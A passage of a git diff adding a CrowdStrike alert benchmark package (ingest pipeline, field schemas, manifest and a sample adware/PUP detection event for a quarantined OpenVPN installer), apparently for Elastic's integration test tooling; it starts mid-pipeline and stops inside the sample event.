ctx._hostname_from_name != '' + - remove: + field: + - _username_from_name + - _hostname_from_name + ignore_missing: true + + - fingerprint: + fields: + - event.id + - crowdstrike.alert.cid + - crowdstrike.alert.indicator_id + - crowdstrike.alert.updated_timestamp + target_field: _id + ignore_missing: true + - remove: + field: + - crowdstrike.alert.agent_id + - crowdstrike.alert.command_line + - crowdstrike.alert.description + - crowdstrike.alert.device.device_id + - crowdstrike.alert.device.external_ip + - crowdstrike.alert.device.hostinfo.domain + - crowdstrike.alert.device.hostname + - crowdstrike.alert.device.local_ip + - crowdstrike.alert.device.mac_address + - crowdstrike.alert.device.os_version + - crowdstrike.alert.device.platform_name + - crowdstrike.alert.device.system_manufacturer + - crowdstrike.alert.device.system_product_name + - crowdstrike.alert.device.tags + - crowdstrike.alert.end_time + - crowdstrike.alert.filename + - crowdstrike.alert.filepath + - crowdstrike.alert.host_name + - crowdstrike.alert.host_type + - crowdstrike.alert.id + - crowdstrike.alert.idp_policy_rule.id + - crowdstrike.alert.idp_policy_rule.name + - crowdstrike.alert.image_file_name + - crowdstrike.alert.location_country_code + - crowdstrike.alert.md5 + - crowdstrike.alert.operating_system + - crowdstrike.alert.os_name + - crowdstrike.alert.parent_details.cmdline + - crowdstrike.alert.parent_details.filename + - crowdstrike.alert.parent_details.filepath + - crowdstrike.alert.parent_details.md5 + - crowdstrike.alert.parent_details.sha256 + - crowdstrike.alert.parent_details.user_id + - crowdstrike.alert.parent_details.user_name + - crowdstrike.alert.parent_process_id + - crowdstrike.alert.process_end_time + - crowdstrike.alert.process_id + - crowdstrike.alert.process_start_time + - crowdstrike.alert.severity + - crowdstrike.alert.sha1 + - crowdstrike.alert.sha256 + - crowdstrike.alert.source.account_azure_id + - crowdstrike.alert.source.account_domain + - crowdstrike.alert.source.account_name + - crowdstrike.alert.source.endpoint_host_name + - crowdstrike.alert.source.endpoint_ip_address + - crowdstrike.alert.start_time + - crowdstrike.alert.tactic + - crowdstrike.alert.tags + - crowdstrike.alert.target.account_name + - crowdstrike.alert.target.domain_controller_host_name + - crowdstrike.alert.target.endpoint_host_name + - crowdstrike.alert.technique + - crowdstrike.alert.timestamp + - crowdstrike.alert.user_id + - crowdstrike.alert.user_name + tag: remove_custom_duplicate_fields + ignore_missing: true + if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields')) + - remove: + field: json + tag: remove_json + ignore_missing: true + - script: + lang: painless + description: Drops null/empty values recursively. + tag: painless_remove_null + source: |- + boolean drop(Object object) { + if (object == null || object == '') { + return true; + } else if (object instanceof Map) { + ((Map) object).values().removeIf(v -> drop(v)); + return (((Map) object).size() == 0); + } else if (object instanceof List) { + ((List) object).removeIf(v -> drop(v)); + return (((List) object).length == 0); + } + return false; + } + drop(ctx); + - set: + field: event.kind + tag: set_pipeline_error_to_event_kind_processor + value: pipeline_error + if: ctx.error?.message != null + - append: + field: tags + value: preserve_original_event + allow_duplicates: false + if: ctx.error?.message != null +on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.kind + tag: set_pipeline_error_to_event_kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml new file mode 100644 index 0000000000..a93aca0ee9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml @@ -0,0 +1,20 @@ +- name: data_stream.type + type: constant_keyword + description: Data stream type. +- name: data_stream.dataset + type: constant_keyword + description: Data stream dataset. +- name: data_stream.namespace + type: constant_keyword + description: Data stream namespace. +- name: event.module + type: constant_keyword + description: Event module. + value: crowdstrike +- name: event.dataset + type: constant_keyword + description: Event dataset. + value: crowdstrike.alert +- name: '@timestamp' + type: date + description: Event timestamp. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml new file mode 100644 index 0000000000..4084f1dc7f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml @@ -0,0 +1,6 @@ +- name: input.type + type: keyword + description: Type of filebeat input. +- name: log.offset + type: long + description: Log offset. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml new file mode 100644 index 0000000000..bdc73a9cb9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml @@ -0,0 +1,9 @@ +# Remove this file when kibana.version satisfied ^8.14. +- name: threat.tactic.id + external: ecs +- name: threat.technique.id + external: ecs +- name: threat.framework + external: ecs +- name: tags + external: ecs diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml new file mode 100644 index 0000000000..2e8a6952ca --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml @@ -0,0 +1,620 @@ +- name: crowdstrike + type: group + fields: + - name: alert + type: group + fields: + - name: active_directory_authentication_method + type: long + - name: activity + type: group + fields: + - name: browser + type: keyword + - name: device + type: keyword + - name: id + type: keyword + - name: os + type: keyword + - name: agent_id + type: keyword + - name: agent_scan_id + type: keyword + - name: aggregate_id + type: keyword + - name: alert_attributes + type: long + - name: alleged_filetype + type: keyword + - name: assigned_to + type: group + fields: + - name: name + type: keyword + - name: uid + type: keyword + - name: uuid + type: keyword + - name: associated_files + type: group + fields: + - name: filepath + type: keyword + - name: sha256 + type: keyword + - name: child_process_ids + type: keyword + - name: cid + type: keyword + - name: cloud_indicator + type: boolean + - name: cmdline + type: keyword + - name: command_line + type: keyword + - name: comment + type: keyword + - name: composite_id + type: keyword + - name: confidence + type: long + - name: context_timestamp + type: date + - name: control_graph_id + type: keyword + - name: crawl_edge_ids + type: group + fields: + - name: Sensor + type: keyword + - name: crawl_vertex_ids + type: group + fields: + - name: Sensor + type: keyword + - name: crawled_timestamp + type: date + - name: created_timestamp + type: date + - name: data_domains + type: keyword + - name: description + type: keyword + - name: detect_type + type: keyword + - name: device + type: group + fields: + - name: agent_load_flags + type: long + - name: agent_local_time + type: date + - name: agent_version + type: keyword + - name: bios_manufacturer + type: keyword + - name: bios_version + type: keyword + - name: cid + type: keyword + - name: config_id_base + type: keyword + - name: config_id_build + type: keyword + - name: config_id_platform + type: long + - name: external_ip + type: ip + - name: first_seen + type: date + - name: groups + type: keyword + - name: hostinfo + type: group + fields: + - name: active_directory_dn_display + type: keyword + - name: domain + type: keyword + - name: hostname + type: keyword + - name: id + type: keyword + - name: last_seen + type: date + - name: local_ip + type: ip + - name: mac_address + type: keyword + - name: machine_domain + type: keyword + - name: major_version + type: keyword + - name: minor_version + type: keyword + - name: modified_timestamp + type: date + - name: os_version + type: keyword + - name: ou + type: keyword + - name: platform_id + type: keyword + - name: platform_name + type: keyword + - name: pod_labels + type: keyword + - name: product_type + type: keyword + - name: product_type_desc + type: keyword + - name: site_name + type: keyword + - name: status + type: keyword + - name: system_manufacturer + type: keyword + - name: system_product_name + type: keyword + - name: tags + type: keyword + - name: display_name + type: keyword + - name: documents_accessed + type: group + fields: + - name: filename + type: keyword + - name: filepath + type: keyword + - name: timestamp + type: date + - name: email_sent + type: boolean + - name: end_time + type: date + - name: event_id + type: keyword + - name: executables_written + type: group + fields: + - name: filename + type: keyword + - name: filepath + type: keyword + - name: timestamp + type: date + - name: falcon_host_link + type: keyword + - name: file_writes + type: group + fields: + - name: name + type: keyword + - name: sha256 + type: keyword + - name: filename + type: keyword + - name: filepath + type: keyword + - name: files_accessed + type: group + fields: + - name: filename + type: keyword + - name: filepath + type: keyword + - name: timestamp + type: date + - name: files_written + type: group + fields: + - name: filename + type: keyword + - name: filepath + type: keyword + - name: timestamp + type: date + - name: global_prevalence + type: keyword + - name: grandparent_details + type: group + fields: + - name: cmdline + type: keyword + - name: filename + type: keyword + - name: filepath + type: keyword + - name: local_process_id + type: keyword + - name: md5 + type: keyword + - name: process_graph_id + type: keyword + - name: process_id + type: keyword + - name: sha256 + type: keyword + - name: timestamp + type: date + - name: user_graph_id + type: keyword + - name: user_id + type: keyword + - name: user_name + type: keyword + - name: has_script_or_module_ioc + type: boolean + - name: host_name + type: keyword + - name: host_type + type: keyword + - name: id + type: keyword + - name: idp_policy + type: group + fields: + - name: enforced_externally + type: long + - name: mfa_factor_type + type: long + - name: mfa_provider + type: long + - name: rule_action + type: long + - name: rule_trigger + type: long + - name: rule_id + type: keyword + - name: rule_name + type: keyword + - name: image_file_name + type: keyword + - name: incident + type: group + fields: + - name: created + type: date + - name: end + type: date + - name: id + type: keyword + - name: score + type: double + - name: start + type: date + - name: indicator_id + type: keyword + - name: ioc_context + type: group + fields: + - name: cmdline + type: keyword + - name: ioc_description + type: keyword + - name: ioc_source + type: keyword + - name: ioc_type + type: keyword + - name: ioc_value + type: keyword + - name: md5 + type: keyword + - name: sha256 + type: keyword + - name: type + type: keyword + - name: ioc_description + type: keyword + - name: ioc_source + type: keyword + - name: ioc_type + type: keyword + - name: ioc_value + type: keyword + - name: ioc_values + type: keyword + - name: is_synthetic_quarantine_disposition + type: boolean + - name: ldap_search_query_attack + type: long + - name: local_prevalence + type: keyword + - name: local_process_id + type: keyword + - name: location_country_code + type: keyword + - name: location_latitude_as_int + type: long + - name: location_longitude_as_int + type: long + - name: logon_domain + type: keyword + - name: md5 + type: keyword + - name: model_anomaly_indicators + type: keyword + - name: name + type: keyword + - name: network_accesses + type: group + fields: + - name: access_timestamp + type: date + - name: access_type + type: long + - name: connection_direction + type: keyword + - name: isIPV6 + type: boolean + - name: local_address + type: ip + - name: local_port + type: long + - name: protocol + type: keyword + - name: remote_address + type: ip + - name: remote_port + type: long + - name: objective + type: keyword + - name: operating_system + type: keyword + - name: os_name + type: keyword + - name: overwatch_note + type: keyword + - name: overwatch_note_timestamp + type: date + - name: parent_details + type: group + fields: + - name: cmdline + type: keyword + - name: filename + type: keyword + - name: filepath + type: keyword + - name: local_process_id + type: keyword + - name: md5 + type: keyword + - name: process_graph_id + type: keyword + - name: process_id + type: keyword + - name: sha256 + type: keyword + - name: timestamp + type: date + - name: user_graph_id + type: keyword + - name: user_id + type: keyword + - name: user_name + type: keyword + - name: parent_process_id + type: keyword + - name: pattern_disposition + type: long + - name: pattern_disposition_description + type: keyword + - name: pattern_disposition_details + type: group + fields: + - name: blocking_unsupported_or_disabled + type: boolean + - name: bootup_safeguard_enabled + type: boolean + - name: containment_file_system + type: boolean + - name: critical_process_disabled + type: boolean + - name: detect + type: boolean + - name: fs_operation_blocked + type: boolean + - name: handle_operation_downgraded + type: boolean + - name: inddet_mask + type: boolean + - name: indicator + type: boolean + - name: kill_action_failed + type: boolean + - name: kill_parent + type: boolean + - name: kill_process + type: boolean + - name: kill_subprocess + type: boolean + - name: mfa_required + type: boolean + - name: operation_blocked + type: boolean + - name: policy_disabled + type: boolean + - name: prevention_provisioning_enabled + type: boolean + - name: process_blocked + type: boolean + - name: quarantine_file + type: boolean + - name: quarantine_machine + type: boolean + - name: registry_operation_blocked + type: boolean + - name: response_action_already_applied + type: boolean + - name: response_action_failed + type: boolean + - name: response_action_triggered + type: boolean + - name: rooting + type: boolean + - name: sensor_only + type: boolean + - name: suspend_parent + type: boolean + - name: suspend_process + type: boolean + - name: pattern_id + type: keyword + - name: platform + type: keyword + - name: poly_id + type: keyword + - name: prevented + type: boolean + - name: process_end_time + type: date + - name: process_id + type: keyword + - name: process_start_time + type: date + - name: product + type: keyword + - name: protocol_anomaly_classification + type: long + - name: quarantined + type: boolean + - name: quarantined_files + type: group + fields: + - name: filename + type: keyword + - name: id + type: keyword + - name: sha256 + type: keyword + - name: state + type: keyword + - name: rule_group_id + type: keyword + - name: rule_group_name + type: keyword + - name: rule_instance_created_by + type: keyword + - name: rule_instance_id + type: keyword + - name: rule_instance_name + type: keyword + - name: rule_instance_version + type: keyword + - name: scan_id + type: keyword + - name: scenario + type: keyword + - name: seconds_to_resolved + type: long + - name: seconds_to_triaged + type: long + - name: severity + type: long + - name: severity_name + type: keyword + - name: sha1 + type: keyword + - name: sha256 + type: keyword + - name: show_in_ui + type: boolean + - name: source + type: group + fields: + - name: account_azure_id + type: keyword + - name: account_domain + type: keyword + - name: account_name + type: keyword + - name: account_object_guid + type: keyword + - name: account_object_sid + type: keyword + - name: account_sam_account_name + type: keyword + - name: account_upn + type: keyword + - name: endpoint_account_object_guid + type: keyword + - name: endpoint_account_object_sid + type: keyword + - name: endpoint_address_ip4 + type: ip + - name: endpoint_host_name + type: keyword + - name: endpoint_ip_address + type: ip + - name: endpoint_ip_reputation + type: long + - name: endpoint_sensor_id + type: keyword + - name: ip_isp_classification + type: long + - name: ip_isp_domain + type: keyword + - name: source_products + type: keyword + - name: source_vendors + type: keyword + - name: start_time + type: date + - name: status + type: keyword + - name: tactic + type: keyword + - name: tactic_id + type: keyword + - name: tags + type: keyword + - name: target + type: group + fields: + - name: account_name + type: keyword + - name: domain_controller_host_name + type: keyword + - name: domain_controller_object_guid + type: keyword + - name: domain_controller_object_sid + type: keyword + - name: endpoint_account_object_guid + type: keyword + - name: endpoint_account_object_sid + type: keyword + - name: endpoint_host_name + type: keyword + - name: endpoint_sensor_id + type: keyword + - name: service_access_identifier + type: keyword + - name: technique + type: keyword + - name: technique_id + type: keyword + - name: template_instance_id + type: keyword + - name: timestamp + type: date + - name: tree_id + type: keyword + - name: tree_root + type: keyword + - name: triggering_process_graph_id + type: keyword + - name: type + type: keyword + - name: updated_timestamp + type: date + - name: user_id + type: keyword + - name: user_name + type: keyword + - name: user_principal + type: keyword + - name: worker_node_name + type: keyword diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml new file mode 100644 index 0000000000..3849521166 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml @@ -0,0 +1,94 @@ +title: Collect Alert logs from CrowdStrike. +type: logs +streams: + - input: cel + title: Falcon Alerts + description: Collect Unified Alerts from CrowdStrike Falcon Intelligence. + enabled: false + template_path: cel.yml.hbs + vars: + - name: initial_interval + type: text + title: Initial Interval + description: How far back to pull the Alert logs from CrowdStrike. Supported units for this parameter are h/m/s. + multi: false + required: true + show_user: true + default: 24h + - name: interval + type: text + title: Interval + description: Duration between requests to the CrowdStrike API. By default, differential data is pulled once per day. Supported units for this parameter are h/m/s. + default: 24h + multi: false + required: true + show_user: true + - name: batch_size + type: integer + title: Batch Size + description: Batch size for the response of the CrowdStrike API. It must be between 1 - 1000. + default: 1000 + multi: false + required: true + show_user: false + - name: http_client_timeout + type: text + title: HTTP Client Timeout + description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h. + multi: false + required: true + show_user: false + default: 30s + - name: query + type: text + title: FQL Query + description: This is an additional FQL query that may be included in requests to the API. You should not include any reference to the `timestamp` property. See the [FalconPy documentation](https://www.falconpy.io/Usage/Falcon-Query-Language.html) for details. + multi: false + required: false + show_user: false + - name: enable_request_tracer + type: bool + title: Enable request tracing + default: false + multi: false + required: false + show_user: false + description: >- + The request tracer logs requests and responses to the agent's local file-system for debugging configurations. + Enabling this request tracing compromises security and should only be used for debugging. Disabling the request + tracer will delete any stored traces. + See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-cel.html#_resource_tracer_enable) + for details. + - name: tags + type: text + title: Tags + multi: true + required: true + show_user: false + default: + - forwarded + - crowdstrike-alert + - name: preserve_original_event + required: true + show_user: true + title: Preserve original event + description: Preserves a raw copy of the original event, added to the field `event.original`. + type: bool + multi: false + default: false + - name: preserve_duplicate_custom_fields + required: true + show_user: false + title: Preserve duplicate custom fields + description: Preserve crowdstrike.alert fields that were copied to Elastic Common Schema (ECS) fields. + type: bool + multi: false + default: false + - name: processors + type: yaml + title: Processors + multi: false + required: false + show_user: false + description: >- + Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json new file mode 100644 index 0000000000..680f31dc1f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json @@ -0,0 +1,364 @@ +{ + "@timestamp": "2023-11-03T18:00:22.328Z", + "agent": { + "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530", + "id": "d541c008-3558-403d-9392-4faa6d42fcb4", + "name": "elastic-agent-43429", + "type": "filebeat", + "version": "8.18.0" + }, + "crowdstrike": { + "alert": { + "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "alleged_filetype": "exe", + "cid": "92012896127c4a948236ba7601b886b0", + "cloud_indicator": false, + "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", + "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "confidence": 10, + "context_timestamp": "2023-11-03T18:00:31.000Z", + "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", + "crawl_edge_ids": { + "Sensor": [ + "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", + "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!", + "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", + "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", + "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N" + ] + }, + "crawl_vertex_ids": { + "Sensor": [ + "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", + "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" + ] + }, + "crawled_timestamp": "2023-11-03T19:00:23.985Z", + "created_timestamp": "2023-11-03T18:01:23.995Z", + "data_domains": [ + "Endpoint" + ], + "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "device": { + "agent_load_flags": 0, + "agent_local_time": "2023-10-12T03:45:57.753Z", + "agent_version": "7.04.17605.0", + "bios_manufacturer": "ABC", + "bios_version": "F8CN42WW(V2.05)", + "cid": "92012896127c4a948236ba7601b886b0", + "config_id_base": "65994763", + "config_id_build": "17605", + "config_id_platform": 3, + "external_ip": "81.2.69.142", + "first_seen": "2023-04-07T09:36:36.000Z", + "groups": [ + "18704e21288243b58e4c76266d38caaf" + ], + "hostinfo": { + "active_directory_dn_display": [ + "WinComputers", + "WinComputers\\ABC" + ], + "domain": "ABC.LOCAL" + }, + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "last_seen": "2023-11-03T17:51:42.000Z", + "local_ip": "81.2.69.142", + "mac_address": "AB-21-48-61-05-B2", + "machine_domain": "ABC.LOCAL", + "major_version": "10", + "minor_version": "0", + "modified_timestamp": "2023-11-03T17:53:43.000Z", + "os_version": "Windows11", + "ou": [ + "ABC", + "WinComputers" + ], + "platform_id": "0", + "platform_name": "Windows", + "product_type": "1", + "product_type_desc": "Workstation", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "LENOVO", + "system_product_name": "20VE" + }, + "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "grandparent_details": { + "cmdline": "C:\\Windows\\system32\\userinit.exe", + "filename": "userinit.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", + "local_process_id": "4328", + "md5": "b07f77fd3f9828b2c9d61f8a36609741", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", + "process_id": "392734873135", + "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "timestamp": "2023-10-30T16:49:19.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "yuvraj.mahajan" + }, + "has_script_or_module_ioc": true, + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ioc_context": [ + { + "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "ioc_source": "library_load", + "ioc_type": "hash_sha256", + "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "type": "module" + } + ], + "ioc_values": [ + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + ], + "is_synthetic_quarantine_disposition": true, + "local_process_id": "17076", + "logon_domain": "ABSYS", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "name": "PrewittPupAdwareSensorDetect-Lowest", + "objective": "FalconDetectionMethod", + "parent_details": { + "cmdline": "C:\\WINDOWS\\Explorer.EXE", + "filename": "explorer.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "local_process_id": "1040", + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "process_id": "392736520876", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "timestamp": "2023-11-03T18:00:32.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + }, + "parent_process_id": "392736520876", + "pattern_disposition": 2176, + "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", + "pattern_disposition_details": { + "blocking_unsupported_or_disabled": false, + "bootup_safeguard_enabled": false, + "critical_process_disabled": false, + "detect": false, + "fs_operation_blocked": false, + "handle_operation_downgraded": false, + "inddet_mask": false, + "indicator": false, + "kill_action_failed": false, + "kill_parent": false, + "kill_process": false, + "kill_subprocess": false, + "operation_blocked": false, + "policy_disabled": false, + "process_blocked": true, + "quarantine_file": true, + "quarantine_machine": false, + "registry_operation_blocked": false, + "rooting": false, + "sensor_only": false, + "suspend_parent": false, + "suspend_process": false + }, + "pattern_id": "5761", + "platform": "Windows", + "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", + "process_end_time": "2023-11-03T18:00:21.000Z", + "process_id": "399748687993", + "process_start_time": "2023-11-03T18:00:13.000Z", + "product": "epp", + "quarantined_files": [ + { + "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "state": "quarantined" + } + ], + "scenario": "NGAV", + "severity": 30, + "severity_name": "low", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "show_in_ui": true, + "source_products": [ + "FalconInsight" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "MachineLearning", + "tactic_id": "CSTA0004", + "technique": "Adware/PUP", + "technique_id": "CST0000", + "timestamp": "2023-11-03T18:00:22.328Z", + "tree_id": "1931778", + "tree_root": "38687993", + "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", + "type": "ldt", + "updated_timestamp": "2023-11-03T19:00:23.985Z", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + } + }, + "data_stream": { + "dataset": "crowdstrike.alert", + "namespace": "96581", + "type": "logs" + }, + "device": { + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "manufacturer": "LENOVO", + "model": { + "name": "20VE" + } + }, + "ecs": { + "version": "8.17.0" + }, + "elastic_agent": { + "id": "d541c008-3558-403d-9392-4faa6d42fcb4", + "snapshot": true, + "version": "8.18.0" + }, + "event": { + "agent_id_status": "verified", + "category": [ + "process" + ], + "dataset": "crowdstrike.alert", + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ingested": "2025-10-09T10:20:29Z", + "kind": "alert", + "original": 